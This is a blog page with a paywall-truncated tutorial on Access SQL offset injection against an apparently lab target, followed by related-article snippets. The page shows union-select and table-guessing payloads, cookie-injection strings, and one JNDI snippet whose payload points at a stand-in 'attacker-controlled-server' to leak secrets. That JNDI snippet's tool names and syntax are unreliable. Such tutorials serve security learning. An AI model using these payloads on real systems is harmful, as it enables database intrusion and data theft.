偏移注入payload构造技巧实战+Access注入

最新推荐文章于 2025-05-03 22:24:49 发布
最新推荐文章于 2025-05-03 22:24:49 发布
阅读量5.6k 收藏 1
点赞数 1
CC 4.0 BY-SA版权
分类专栏： sql injection 文章标签： sql注入 偏移注入
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/CClarence/article/details/49683883
本文通过一个实际案例介绍了如何进行SQL注入，特别是偏移注入的方法。首先，通过URL判断存在SQL注入点，然后尝试猜测数据库表和字段数。利用`union`和`order by`来确定字段数量，接着通过偏移注入获取具体字段位置。最后，构造Payload获取所需信息，讲解了偏移注入的原理和查询语法。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

url：http://218.245.4.113:8888/web03/ca55022fa7ae5c29d179041883fe1556/index.asp?id=886
拿到url，虽然知道肯定是id是注入点，但还是写一下完整思路：
1.拿到界面，长这样
界面
2.先判断是否有sql注入，注入点，886后加’，发现报错，证明有注入
判断注入点
猜测数据库表并验证，方法是url后加 and (select Count(*) from 数据库表)>0，猜测到admin表，news表。
猜测admin表
如果不用刚才的方式，用union语句也可，在url后加 union select 1,2,3,4,id,6,7,8,9,10,11,12 from 数据库表，同样效果，不过如果用union能同时查看字段数。
3.查看字段数。通过union也可以，通过order by也可以。
先用union：http://218.245.4.113:8888/web03/ca55022fa7ae5c29d1790

最低0.47元/天 解锁文章

200万优质内容无限畅学
生成 Payload 的过程（Python）
JieLun_C的博客
09-08 1658
在网络安全领域中，Payload 是指在利用漏洞或攻击目标时所使用的特定数据或代码块。生成 Payload 的过程通常涉及构造恶意代码、利用漏洞或设计特定的数据结构。本文将介绍使用 Python 生成 Payload 的一般步骤，并提供相应的源代码示例。生成 Payload 是一个复杂且技术密集的过程，需要深入了解相关的漏洞和攻击技术。然后，我们使用 UTF-8 编码将 Payload 转换为字节流，并打印生成的 Payload。根据 Payload 的目标和用途，需要构造特定的数据结构来实现所需的功能。
【漏洞扫描】——14、AWVS工程扫描
Fly_鹏程万里
03-01 2121
本篇文章我们主要介绍AWVS如何对目标网站进行扫描以及如何导出扫描报告。
渗透————偏移注入
longger_lee
11-16 2109
偏移注入：在注入过程中，可能会遇到注入知道表名，但是不知道列名，从而无法继续猜解，此时需要偏移注入解决。             偏移注入的流程：                  1，判断字段数。例如：order by 猜字段数为22                  2，判断表名。例如：union select 1，2，，，22 from admin （联合查询爆显位）        
Access——偏移注入
qq_45300786的博客
07-20 786
Access数据库没有系统自带库 =》只能强行猜解。 那有没有种方法，可以不知道字段名就查询数据呢。 这种方法就叫做偏移注入 既然如此我们在使用偏移注入之前要了解一些函数。 可以发现这三个查询语句时等价的， 第一个的 * 号，表示一切东西（表名，字段名） 第二个的*号，表示所有的字段名 直接开始 前面的内容是上一篇的access——cookie的内容，这里我就不多赘述。 判断回显位。 171+union+select+1%2c2%2c3%2c4%2c5%2c6%2c7%2c8%2c9%2c10+fr
Access-偏移注入
weixin_45634365的博客
03-02 359
在SQL注入的时候会遇到一些无法查询列名的问题，例如系统自带数据库的权限不够而无法访问系统自带库，例如Access根本没有系统自带库，需要强行猜解表名 在猜到表名无法猜到字段名的情况下，可以使用偏移注入来查询表里面的数据 像sqlmap之类的工具实际上是爆破字段的名字，但是如果字段名比较奇怪，sqlmap就无能为力了 偏移注入终比较常用的方法是移位溢注 移位溢注 #假设admin表里面有id、username、password三个字段 #admin.*代表了admin表里所有的字段 select * fro
python代码执行漏洞_Python Pickle的任意代码执行漏洞实践和Payload构造
weixin_39541844的博客
01-11 382
Author：bit4@勾陈安全实验室0x01 Pickle的典型应用场景一般在什么场景下需要用到Pickle？通常在解析认证token，session的时候。(如果你知道更多，欢迎留言补充，感谢！)现在很多web都使用redis、mongodb、memcached等来存储session等状态信息。P神的文章就有一个很好的redis+python反序列化漏洞的很好例子：https://www.le...
access偏移注入原理
m0_56069948的博客
01-17 702
Python微信订餐小程序课程视频 https://edu.youkuaiyun.com/course/detail/36074 Python实战量化交易理财系统 https://edu.youkuaiyun.com/course/detail/35475 前言：近段时间在学习access偏移注入时，在网上查询了大量的资料，感觉很多资料讲解的十分模糊并且我个人认为有很多不够严谨的地方，于是我便在线下经过大量测试，写出以下文章，如有错误，望指出。 如要转载，请标明出处！！ 一、认识偏移注入 偏移注入的适用背景： access
注入&Sqlmap
DebbieLi_Ca的博客
10-25 764
中心主题 sqlmap SQLMap介绍 1.Sqlmap介绍 2.Sqlmap环境安装 3.sqlmap下载 sqlmaap版本查看 sqlmap获取目标 1.sqlmap直连数据库 -d表示直连 –banner 获取banner信息 2.sqlmap URL探测 3.sqlmap文件读取目标 可以探测多个URL 4.sqlmap google批量注入 sqlmap请求参数设置 Sqlmap设置HTTP方法 get和put POST在请求的时候，服
Agent 服务 API 网关治理实战：构建统一入口的权限控制、限流与访问策略引擎
最新发布
努力分享一些人工智能、计算机视觉、影像等相关的知识干货！
05-03 1252
在企业级智能体平台中，API 网关不仅是服务访问的统一入口，更是租户权限校验、调用限流控制、访问行为审计与策略分发的核心枢纽。本文从工程实战角度出发，全面剖析 Agent 服务在生产环境中如何通过 API 网关构建统一的权限验证体系、多维限流机制与动态访问策略引擎。围绕网关插件化扩展、租户级访问路由、策略中枢对接、链路审计闭环等关键模块进行系统拆解，构建出一个具备安全、可控、可观测能力的智能体服务接入总线。
实战篇3：一切皆对象，文件目录体系（节点树）
weixin_53295593的博客
03-30 2666
AOS与阿里名称冲突，现改为OACS；面向对象汇编语言OASM（Object assembly language），又带一点点C风格，改名为OACS、即是带一点C风格的面向对象汇编语言系统（Object assembly language C system）。一切皆对象，相比unix/linux的一切皆文件，会显得范围更广一些；许多内核对象，如内存对象、CPU对象、IPC对象、线程对象、等等，是没有文件i节点的。c语言功能也强大，但个人认为、想用好并不容易；这段时间，看了不少嵌入式操作系统及相关的源代码；给
Access注入——偏移注入
MSB_WLAQ的博客
09-29 362
偏移注入简介 使用场景 一些无法查询的列名，比如权限不足的 知道表名却不知道字段 使用偏移查询主要查询字段及内容等。 使用条件 （1）：知道表名（2）：注入点的字段数必须要大于查询的字段 常见问题 1 .* 的作用 用于代替表内全部字段，在不能用系统自带库查字段名时。 2.偏移注入是否仅用于Access 不是，mysql也可以使用偏移注入。 3.偏移注释时联合查询后的一张表为什么要小于前一张表 联合查询必须要满足一个条件，就是前面的查询和后面的查询字段数必须相等，因为前.
Access偏移注入
10-02
Access偏移注入教程 该文章出自『草哲's BLOG』,原文链接：http://www.337479.cn/alias/access-migration-into-the/
【实战渗透】对 ACCESS 偏移注入实战（针对爆不出字段名）
V1040375575的博客
09-08 583
ACCESS偏移注入记录 Access偏移注入原理，基本公式为： order by 出的字段数减去*号的字段数，然而再用order by的字段数减去2倍刚才得出来的答案； 也就是： orderby = 22 * = 6个字符 2 × * = 12个字符 22 - 12 = 10个字符 注入点： www.xxx.com/Newsview.asp?id=832 查询字段数： www.xxx.com/Newsview.asp?id=832order by 16回显正常...
Access注入 — 偏移注入
Mr.Huang_的博客
09-04 330
一、偏移注入使用场景 二、偏移注入步骤 三、偏移注入靶场讲解 前面的内容是上一篇的access——cookie的内容，这里我就不多赘述。 下面演示使用得是： F12点击Console使用js方法，当然还有其他方法例如插件，抓包等 直接开始 这里我就不多赘述，判断回显位。 document.cookie="id="+escape("171 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin") escape（）函数，里面的数据会自动进行url
Access注入--偏移注入
weixin_45922278的博客
10-17 322
Access注入--偏移注入 Access偏移注入:知道表名,不知道字段名. 核心:tables_name.* 题目:http://59.63.200.79:8004/ 1.http://59.63.200.79:8004/ProductShow.asp?id=104 #去除id=104,通过cookie传参 #http://59.63.200.79:8004/...
Access数据库注入之偏移注入
seek_2022的博客
05-02 2993
文章目录一、偏移注入使用场景二、必要的SQL知识补充（一）admin.*是什么意思？（二）联合查询的字段数问题（三）access如何查询指定数据？三、靶场实战（一）判断是否存在cookie注入（二）爆破表名（三）判断当前页面显错位（四）查询admin表字段数（五）偏移注入查询flag 一、偏移注入使用场景 在SQL注入的时候会遇到一些无法查询列名的问题，比如系统自带数据库的权限不够而无法访问系统自带库。 当你猜到表名无法猜到字段名的情况下，我们可以使用偏移注入来查询那张表里面的数据。像Sqlmap之类的工
16、注入篇--偏移注入（Access）
WX公众号-小白学安全
04-10 505
偏移注入也称移位溢出 使用场景 知道表名，不知道字段名 注入点的字段数要大于需要查询的表名字段数 注入流程 order by 判断字段数 猜测表名 and exists(select * from 表名) 开始偏移注入 注意： select username,password from admin ===>select * from admin ===>select admin.* from admin 库名.表名.字段名 靶场 1、进入靶场，观察ID进行了传递参数，探测id是否可以注
mysql偏移注入_偏移注入 - Michae1_('_')t - 博客园
weixin_42501119的博客
01-19 246
0x00：前言应用场景：Access、mysql数据库，知道表名，但是列名猜解不出来。偏移注入是access比较独有的一种注入手段，很有特点(人品)的注入方式，一般用于在猜解了表名但是没有猜解出列名的情况下使用0x01：流程(1)注入点(2)判断字段数order by(3)判断显示位置union select 1,2,3,4,5,6...... from table注：还有隐性显位！例如：表面上只...
kali上怎么构造构造JNDI注入Payload
10-16
在Kali Linux系统上构造用于JNDI（Java Naming and Directory Interface）注入的payload通常需要一些特定的知识和技术。首先，你需要了解如何利用JNDI漏洞，这种漏洞常见于Web应用服务中，当它们没有正确配置JNDI安全时，攻击者可以构造恶意名称并解析出敏感信息。 下面是构建一个基本的JNDI注入payload步骤： 1. **了解攻击原理**： JNDI注入通常涉及到`java.naming.InitialContext` API，通过这个API，攻击者可以向应用程序的资源路径发送请求。payload通常是将恶意URL编码为JNDI名称的一部分，例如 `ldap://attacker-controlled-server/secret?password=your-sensitive-data`。 2. **选择工具**： Kali Linux上可以使用`jndi-unescaper`工具来帮助生成payload，或者直接在命令行中构造。比如，`ldapsearch`命令也可以用于测试。 3. **编写payload**： 使用`jndi-unescaper`： ```sh echo "java:comp/env/jdbc/MyDatabase" | jndi-unescaper -e ldap://attacker-controlled-server/?name=your-secret ``` 或者手动编码： ``` java:comp/env/jdbc/MyDatabase;url="ldap://attacker-controlled-server/?name=your-secret" ``` 4. **测试payload**： 将payload放入Web应用的输入字段（如URL参数、表单数据等），然后尝试访问该页面看是否触发预期的行为，如返回敏感信息。 5. **防护措施**： 要防范此类攻击，应确保服务器只允许来自信任源的JNDI连接，并启用适当的防火墙规则和输入验证。 注意：在实际渗透测试或评估中，请遵守道德规范，不要未经授权对目标环境进行操作。
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值